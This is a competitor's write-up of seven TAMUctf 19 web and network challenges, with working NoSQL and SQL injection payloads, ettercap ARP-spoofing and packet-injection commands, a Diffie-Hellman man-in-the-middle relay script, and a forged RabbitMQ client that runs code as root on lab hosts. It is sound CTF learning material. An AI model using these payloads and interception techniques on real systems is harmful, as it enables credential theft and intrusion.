TAMUctf 19 had been held for nearly 2 weeks and I joined as insecure
.
My team got 19162pts, except for Pwn6 and Alt-F4 For Ops, and reached 16th place.
There were so many challenges and I can't write about all of them.
I enjoyed most of them but here I'm going to pick up some challenges that I found interesting.
Especially Network/Pentest challs were novel for me and I learned a lot.
Thank you for holding such an amazing ctf!
- [Web 473pts] Login App
- [Web 485pts] 1337 Secur1ty
- [Network/Pentest 474pts] Calculator
- [Network/Pentest 499pts] Clock
- [Network/Pentest 498pts] Copper
- [Network/Pentest 500pts] Key Exchange
- [Network/Pentest 500pts] Homework Help
[Web 473pts] Login App
I'm not familiar with Web security and I had no idea how to solve this chall at first. I found it was working in Node.js Express but never found SQLi. As I was looking over the other challs, I found the source code for Login App can be seen from the Secure Coding gitlab. I forked and pulled the repository for Login App 2 (Secure Coding challenge) and got the following source code.
... app.post('/login', function (req, res) { const db = getDb(); c = db.db('test'); if (typeof(req.body.username) != "string" || typeof(req.body.password) != "string") { var query = { username: "", password: "" } } else { var query = { username: req.body.username, password: req.body.password } } c.collection('users').findOne(query, function (err, user) { if(user == null) { res.send(JSON.stringify("Login Failed")) } else { resp = "Welcome: " + user['username'] + "!"; res.send(JSON.stringify(resp)); } }); }); ...
Yay, it's NoSQL injection! I changed my script a bit and successfully logged in as admin.
# coding: utf-8 import requests import string url = "http://web4.tamuctf.com/login" data = '{"username": "admin", "password": {"$ne": 1}}' headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Referer": "http://web4.tamuctf.com/", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json;charset=UTF-8", "DNT": "1" } r = requests.post(url, data=data, headers=headers) print(r.headers) print(r.text)
[Web 485pts] 1337 Secur1ty
Description: http://web6.tamuctf.com Difficulty: hard
I registered a user and the page moved to the following one.
I decoded the QR code and found it was just an OTP auth uri. Also some cookies were created as I logged in.
The cookie secret
is the OTP secret and userid
is my id, as we can see from the message list.
There's a message sent from the admin to me.
The message can be opened just by clicking the link. Let's see what happens if we change the message id to a SQLi code.
http://web6.tamuctf.com/message?id=%27%20union%20select%201,2,3,4,5,6%23
Bingo!
I found Users
and Messages
table, and Users
has some columns such as UserID
, Password
, Secret
.
http://web6.tamuctf.com/message?id=%27%20union%20select%201,2,secret,4,5,password%20from%20Users%20where%20userid=1%23
The password seems to be hashed but we have the secret. I changed my cookie to the admin's secret and userid, and successfully logged in as 1337-admin!
[Network/Pentest 474pts] Calculator
Description: Using a teletype network protocol from the 70s to access a calculator from the 70s? Far out! Difficulty: easy
There are 2 hosts up: 172.30.0.2
, 172.30.0.3
.
Telnet port is open at 172.30.0.2.
I connected to the server but username and password required.
I used ettercap in order to see the packets between 172.30.0.2 and 172.30.0.3.
# ettercap -T -q -i tap0 -M arp:remote /172.30.0.2// /172.30.0.3//
MitM worked!
We can log in the server with the username alice
and the password 58318008
.
# telnet 172.30.0.2 Trying 172.30.0.2... Connected to 172.30.0.2. Escape character is '^]'. Ubuntu 16.04.5 LTS 934b1d0bd233 login: alice Password: Last login: Tue Mar 5 03:40:03 UTC 2019 from insecure_calculator_client_1.insecure_calculator_default on pts/0 Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-1032-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage alice@934b1d0bd233:~$ ls -lha total 20K drwxr-xr-x 1 alice alice 41 Mar 5 03:35 . drwxr-xr-x 1 root root 19 Feb 22 13:13 .. -rw------- 1 alice alice 466 Mar 5 03:40 .bash_history -rw-r--r-- 1 alice alice 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 alice alice 3.7K Aug 31 2015 .bashrc drwx------ 2 alice alice 34 Mar 5 03:35 .cache -rw-r--r-- 1 root root 40 Feb 22 13:13 .ctf_flag -rw-r--r-- 1 alice alice 655 May 16 2017 .profile alice@934b1d0bd233:~$ cat .ctf_flag gigem{f5ae5f528ed5a9ad312f75bd1d3406a2}
[Network/Pentest 499pts] Clock
Description: Slapping modern crypto on protocol from the 70s is a lot like pad locking a glass door... Difficulty: medium
172.30.0.2
and 172.30.0.3
up, telnet open, seems quite similar to Calculator challenge.
There's a challenge response auth, hmmm.
The client sends date
command after logged in.
Ettercap has a function called etterfilter, which can modify packets on fly!
I modified the date
command with my command by using etterfilter.
Here's the my filter, where fake_telnet
contains a bash command.
if (ip.proto == TCP) { if (tcp.dst == 23) { if (DATA.data == "d") { drop(); inject("./fake_telnet"); } } }
Let's build the filter and restart ettercap with this filter.
# etterfilter calculator.filter -o calculator.ef # ettercap -T -q -i tap0 -M arp:remote -F telnet.ef /172.30.0.2// /172.30.0.3//
Wireshark doen't capture the locally modified packet well, but it worked and got the flag.
[Network/Pentest 498pts] Copper
Description: Bob learned that telnet was actually not secure. Because Bob is a good administrator he wanted to make his own, more secure, version of telnet. He heard AES was secure so he decided to use that. Here is the script he runs every day over telnet: ls -la date > monitor.txt echo "=========================================" >> monitor.txt echo "ps -aux" >> monitor.txt ps -aux >> monitor.txt echo "=========================================" >> monitor.txt echo "df -h" >> monitor.txt df -h >> monitor.txt cp ./monitor.txt /logs exit Difficulty: medium
I solved this challenge in a wrong way. I should've done port scanning first but I thought this was a telnet challenge similar to Calculator, Clock so didn't notice 8080 was open... Anyway, I could solve this chall without 8080 port.
The packets between 172.30.0.2 and 172.30.0.3 are encrypted with AES.
I found two things here.
- The packets seem to be same, which means the IV and the key for AES are not changed by connection.
- The commands from the client are split and sent byte by byte, which means we can associate each byte and its ciphertext.
I wrote a script to gather the ciphertexts and associate them to corresponding bytes. Here's the python dictionary:
table = {'l': 'YiqMxpZQz+5dPf+qELowBw==', 's': 'US5MJOeTx6L69iQT3Y8B9g==', ' ': '83jbJmmZc/RUXML8GcGuVg==', '-': 'h8zZvECdaFr730Mgo5EgYQ==', 'a': 'RdGNIA97r2yYuQsdXjbQGA==', '\r': 'S+79/0xJH6oVAqvGSE+Vlw==', 'd': 'vCffRJyLzPpoDVYNvxEtoA==', 't': 'MufXoG4oKY+tLj7TNMzMtQ==', 'e': '9+fXRGjlf3TvpwR6XiqcSw==', '>': 'bIyEa1uO0qUPR+sBqjAJ8g==', 'm': '0bGyNN1VKjWCxituvKDVvg==', 'o': '/Ks7iNV5tZaZT32Epav0CA==', 'n': 'KLVDOWDtxnck6THwQuPfGg==', 'i': 'L2/wiXcz7QQyFdbuDe14+w==', 'r': 'MC9KVKLGfFmxvdr6qNuZpA==', '.': 'gCe+M22NmuwF6cPVKGGoZQ==', 'x': 'wJNrzltAAb7rg/64niXZNg==', '\n': '92fKIeYPq2HyqG8DSo2Mfw==', 'c': 'XpjdNQ+r0XfWy25TW5lyAg==', 'h': '4iLXaYY1As8N9+wW+PVQOg==', '"': 'WSThaqht6loKlvNDraoarw==', '=': 'Tkb8E728rfsc+V1i5HtOzQ==', 'p': 'lwzGU75ZfX1C+vFQE1ahTQ==', 'u': 'mJoY/dqOlVLjsIzq/ZmGbg==', 'f': 'qgZnSf9/KcpMFM90/ZaklQ==', '/': 'pxsE18FW3UofpVPzG1RchA==', 'g': 'lwA3zobBmueRmJyafjFH9A=='}
However, there are two problems here.
- We can use only specific characters:
"-./=>acdefghilmnoprstux
- Even if we can send an arbitrary command, the output is encrypted and cannot see the flag
The second problem is serious. I decided to construct a command which outputs one byte. We can decrypt the output if it's 1-byte because we have a table. However the table has only specific characters so I had to gather more characters like digits or uppercase alphabets.
Uppercase alphabets can be printed out like this:
printf a > a dd if=a of=b conv=ucase
I don't have v
wtffffff!!!!
After so many attempts I was saved by perl
command.
I got 1
from the following command:
perl -e "print a==a"
And 0
by
perl -e "print 1-1"
9
, 2
, 8
, ...
perl -e "print 10-1" perl -e "print 11-9" perl -e "print 10-2" ...
After I gathered all digits, it was a simple task.
Perl has a useful function chr
which converts ascii code to ascii char.
For example we can get $
with this command:
perl -e "print chr 36"
And I read the flag byte by byte like this:
cat flag.txt|fold -s1|sed -n 1p|tr -d "\n"
I was surprised when I heard 8080 port was open and could see files in /log
......
[Network/Pentest 500pts] Key Exchange
Description: Get your keys here! Difficulty: medium
We are given two python scripts (DiffieHellman.py and AESCipher.py) in addition to the ordinal OpenVPN config. Let's see the communication between 172.30.0.2 and 172.30.0.3.
There are many encrypted bytestreams. The first two base64 are numbers, which seem to be the public keys for Diffie Hellman Key Exchange protocol. It's a strong protocol but weak to MitM attack. I set up a fake server which responses my own public key to the client. As the client accepts my public key, we generate the same shared key and I can decrypt every packets from the client.
from ptrlib import str2bytes import base64 import sys import socket from DiffieHellman import DiffieHellman from AESCipher import AESCipher import time dh = DiffieHellman() pka = dh.publicKey s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("172.30.0.14", 8080)) s.listen(1) c, addr = s.accept() # Send a fake public key to the client data = c.recv(4096) pkb = int(base64.b64decode(data)) dh.genKey(pkb) c.send(base64.b64encode(str2bytes(str(pka)))) aes = AESCipher(dh.getKey()) # Receive a message data = c.recv(4096) plain = aes.decrypt(data) print(plain) c.close()
We can decrypt the packet!
# iptables -t nat -A PREROUTING -p tcp --dport 5005 -j REDIRECT --to-port 8080 # python3 relay.py b'1st Soldier with a Keen Interest in Birds: Who goes there?\n'
However, we have to reply a correct sentence to the client in order to keep talking and reach to the flag. So, I wrote a server which receives text from the client, while sending the text to the real server and receiving the text to reply.
from ptrlib import str2bytes, bytes2str import base64 import sys import socket from DiffieHellman import DiffieHellman from AESCipher import AESCipher import time dh1 = DiffieHellman() pka1 = dh1.publicKey dh2 = DiffieHellman() pkb2 = dh2.publicKey s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s1.bind(("172.30.0.14", 8080)) s1.listen(1) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect(("172.30.0.2", 5005)) c1, addr = s1.accept() # Send a fake public key to the client data = c1.recv(4096) pkb1 = int(base64.b64decode(data)) dh1.genKey(pkb1) c1.send(base64.b64encode(str2bytes(str(pka1)))) aes1 = AESCipher(dh1.getKey()) # Send a public key to the real server s2.send(base64.b64encode(str2bytes(str(pkb2)))) data = s2.recv(4096) pka2 = int(base64.b64decode(data)) dh2.genKey(pka2) aes2 = AESCipher(dh2.getKey()) while True: # Receive a message from the client data = c1.recv(4096) plain = aes1.decrypt(data) print(b"C-->S: " + plain) # Relay to the server data = aes2.encrypt(bytes2str(plain)) s2.send(data) # Receive a reply from the server data = s2.recv(4096) plain = aes2.decrypt(data) print(b"S-->C: " + plain) # Relay to the client data = aes1.encrypt(bytes2str(plain)) c1.send(data) c.close()
Perfect!
[Network/Pentest 500pts] Homework Help
Description: Could you help me with my homework? I think the professor's solution is broken. Difficulty: hard
There are 3 hosts up in this challenge: 172.30.0.2
, 172.30.0.3
, 172.30.0.4
.
I found http port open at 172.30.0.2.
We can run python scripts and see the output. The assignment says we have to write a function which returns the most frequent word in a given sentence. I wrote a function but the checker doesn't work correctly as the description says. I modified the professor's script but nothing happened even though my script passed the check.
So, let's check the other hosts. By scanning all TCP ports by nmap, we can see the following ports open.
I didn't know what RabbitMQ is but there were some ssl-protected packets between 172.30.0.2 and 172.30.0.4. I created a fake ssl server and decrypted some packets. (which soon turned out not necessary!) They are RabbitMQ packets (of course) and the client used pika (python client for RabbitMQ). So, I set up a fake RabbitMQ server which uses my dummy certificate and redirected all packets for 172.30.0.4:5671, to 172.30.0.14:8080. Here's my RabbitMQ configuration files. (Make your own ssl certificate.)
# /etc/rabbitmq/rabbitmq-env.conf CONFIGFILE=/etc/rabbitmq/rabbitmq NODE_IP_ADDRESS=172.30.0.14 NODE_PORT=8089
# /etc/rabbitmq/rabbitmq.config [ {rabbit, [ {loopback_users, []}, {ssl_listeners, [{"172.30.0.14", 8080}]}, {ssl_options, [{cacertfile,"/etc/rabbitmq/ssl/ca_certificate.pem"}, {certfile,"/etc/rabbitmq/ssl/server_certificate.pem"}, {keyfile,"/etc/rabbitmq/ssl/server_key.pem"}, {verify,verify_peer}, {fail_if_no_peer_cert,false}]} ]} ].
I also installed RabbitMQ management API in order to see the queue on the browser.
# iptables -t nat -A PREROUTING -p tcp --dport 5671 -j REDIRECT --to-port 8080 # ettercap -T -q -i tap0 -M arp:remote /172.30.0.2// /172.30.0.4//
I knew the client declares submission
queue since I made fake ssl server, but there seems to be another queue which is exclusive.
Every message published in an exclusive queue can be consumed only by the client who declared it.
So I could receive what was sent to the submission
queue.
{"user": "alice", "assignment": "assignment_one", "code": "print(123)"}
Great!
That's the code I ran on the Homework page.
I thought I would be able to gain root privilege just by changing the user to root
, but where can I get the result?
I had been stuck here for a while but I found a curious script as I ran the following code in the Homework page.
import os os.system("grep 'import pika' -rl /usr")
In the result is a script /usr/local/grader/grader.py
.
I read the code and understood how it communicates with the RabbitMQ server.
The client declared an exclusive queue and sends the message to submission
queue, with replyTo
set to the exclusive queue.
This is an RPC!
I wrote the same client with the user set to root
.
import pika import time import ssl import uuid import json HOST, PORT = "172.30.0.4", 5671 def callback(ch, method, properties, body): data = json.loads(body) print(data["stdout"]) cred = pika.PlainCredentials('guest', 'guest') conn1 = pika.BlockingConnection( pika.ConnectionParameters( host = HOST, port = PORT, credentials = cred, ssl = True ) ) ch1 = conn1.channel() ch1.queue_declare("submissions") conn2 = pika.BlockingConnection( pika.ConnectionParameters( host = HOST, port = PORT, credentials = cred, ssl = True, heartbeat = 0, blocked_connection_timeout = 60, connection_attempts = 10, retry_delay = 3 ) ) ch2 = conn2.channel() queue = ch2.queue_declare("", exclusive=True).method.queue cid = str(uuid.uuid4()) ch1.publish( exchange="", routing_key="submissions", body='{"user": "root", "assignment": "assignment_one", "code": "import os; os.system(\\"cat /home/root/flag.txt\\")"}', properties = pika.BasicProperties( reply_to = queue, correlation_id = cid ) ) ch2.basic_consume( callback, queue=queue, no_ack=True ) try: ch2.start_consuming() finally: conn2.close() conn1.close()
Amazing challenge!